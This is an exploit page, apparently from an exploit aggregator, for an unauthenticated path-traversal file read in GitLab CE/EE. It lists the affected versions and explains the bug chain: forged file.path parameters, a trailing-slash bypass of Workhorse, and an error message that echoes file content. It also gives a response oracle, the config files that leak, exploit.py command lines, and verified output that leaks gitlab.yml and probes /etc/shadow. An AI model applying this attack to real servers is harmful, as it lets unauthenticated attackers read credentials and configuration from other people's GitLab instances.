## https://sploitus.com/exploit?id=28D57F6F-140B-5789-A329-363AF4019105
# CVE-2026-85706
Unauthenticated path traversal / arbitrary file read in GitLab CE and EE.
CVSS 10.0. Verified against a self-managed 19.3.1 instance in a local lab.
## Affected
GitLab CE/EE:
- 18.7 up to 19.1.7
- 19.2.0 up to 19.2.5
- 19.3.0 up to 19.3.1
Precondition: the instance has at least one public project. Any real project
id works. No account or token needed.
## How it works
The create-commit endpoint `POST /api/v4/projects/:id/repository/commits`
accepts large file bodies, so Workhorse buffers the request body to disk and
injects `file.path` / `file.size` metadata for Rails to read back. Four
mistakes line up:
1. The route only checks `require_gitlab_workhorse!` at entry. The real
`authenticate!` sits behind `authorize_push_to_branch!`, which runs after
the file read.
2. `file_params_from_body_upload` takes `file.path` and `file.size` straight
from request parameters, so `File.read(file_path)` follows any absolute
path you supply.
3. Workhorse's body-upload intercept matches `.../repository/commits\z`.
Adding a trailing slash misses that route and falls through to the signed
reverse proxy, which forwards the raw body with a valid JWT. The Workhorse
check passes, Grape normalizes the slash, and the forged params survive.
4. With `Content-Type: application/x-www-form-urlencoded` the file content is
parsed by `Rack::Utils.parse_nested_query`. An illegal `%` sequence raises
`ArgumentError: invalid %-encoding ()` and the 400 response
echoes that component verbatim.
The read runs as the `git` user. Content comes back only if the file contains
an illegal `%` sequence; otherwise you still get a clean existence and
readability oracle:
| Response | Meaning |
| --- | --- |
| `400 local file not present` | file does not exist |
| `500` | exists, not readable by `git` |
| `401` | exists and readable, no illegal `%`, nothing echoed |
| `400 invalid %-encoding (...)` | readable, component echoed |
Files that reliably echo on a default omnibus install: `gitlab.yml` (header
comment hits `95%` early), CI job logs and artifacts, uploaded attachments,
and `database.yml` on deployments with an external database.
## Usage
```
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
```
No dependencies, stdlib only.
## Verified output
Against gitlab-ce 19.3.1 in docker, zero credentials:
```
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
```
Oracle spot checks from the same run:
```
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
```
## Disclaimer
For authorized security testing and research only. Do not use against systems
you do not own or have explicit permission to test.